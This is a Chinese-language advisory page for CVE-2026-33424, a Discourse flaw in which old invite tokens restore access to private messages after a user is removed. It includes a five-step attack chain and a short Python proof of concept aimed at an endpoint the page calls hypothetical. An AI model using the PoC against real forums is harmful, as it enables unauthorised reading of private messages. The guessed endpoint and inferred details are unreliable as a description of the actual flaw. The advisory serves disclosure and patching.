CVE-2026-33424 CVSS 5.9 中危

CVE-2026-33424 Discourse 私信访问控制失效漏洞

披露日期: 2026-03-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-33424

漏洞类型

访问控制失效

CVSS评分

5.9 中危

攻击向量

邻接 (AV:A)

认证要求

高权限 (PR:H)

用户交互

需要交互 (UI:R)

影响产品

Discourse

漏洞概述

该漏洞存在于 Discourse 开源讨论平台中。在特定修复版本发布之前，系统存在逻辑缺陷，允许攻击者通过邀请机制重新获取对私人消息主题的访问权限，即使其已被移除或失去了对该 PM 的访问权。这一漏洞严重破坏了平台的数据隔离策略，可能导致敏感信息泄露。

技术细节

该漏洞源于 Discourse 平台在处理私人消息（PM）邀请逻辑时的访问控制缺陷。在正常业务逻辑中，当用户被移出私人消息组或失去访问权限时，系统应当立即撤销其对该资源的所有访问凭证。然而，在受影响的版本中，系统仅检查了邀请令牌的有效性，而未验证当前用户是否仍具备该 PM 的合法成员资格。攻击者利用这一逻辑漏洞，可以在权限被撤销后，利用先前获取的有效邀请链接或令牌重新发送加入请求。由于 CVSS 向量显示攻击复杂度为高（AC:H）且需要高权限（PR:H），这表明利用该漏洞可能需要攻击者原本就具备对目标 PM 的某种交互历史或特定权限，或者需要诱导具备权限的用户执行特定操作。一旦利用成功，攻击者可绕过权限检查，导致高机密性和完整性的数据泄露。

攻击链分析

STEP 1

1. 获取初始权限

攻击者通过合法或非法手段获取目标私人消息的初始访问权限。

STEP 2

2. 获取邀请凭证

攻击者在拥有访问权限期间，生成或获取该私人消息的邀请链接或令牌。

STEP 3

3. 权限撤销

管理员或其他用户将攻击者移出私人消息，攻击者失去直接访问权限。

STEP 4

4. 利用邀请绕过

攻击者使用步骤2中获取的邀请令牌重新请求加入私人消息。

STEP 5

5. 非法访问

由于系统未校验邀请与当前权限状态，攻击者成功重新获取对私人消息的访问权限。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# Conceptual PoC for CVE-2026-33424
import requests

def test_invite_bypass(target_url, invite_token, session_cookie):
    """
    Attempts to access a private message using an invite token
    after access should have been revoked.
    """
    headers = {
        "Cookie": f"_forum_session={session_cookie}"
    }
    # Endpoint to accept invite (hypothetical endpoint based on description)
    url = f"{target_url}/invites/{invite_token}/accept"
    
    response = requests.post(url, headers=headers)
    
    if response.status_code == 200 and "access_granted" in response.text:
        print("[+] Vulnerability confirmed: Access granted via old invite token.")
        return True
    else:
        print("[-] Access denied or vulnerability patched.")
        return False

# Usage
# test_invite_bypass("http://target-discourse.com", "INVITE_TOKEN", "SESSION_COOKIE")

影响范围

Discourse < 2026.3.0-latest.1

Discourse < 2026.2.1

Discourse < 2026.1.2

防御指南

临时缓解措施

目前没有已知的变通方法。建议管理员立即应用官方发布的安全补丁，确保系统版本处于修复后的范围内，以防止未经授权的私信访问。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表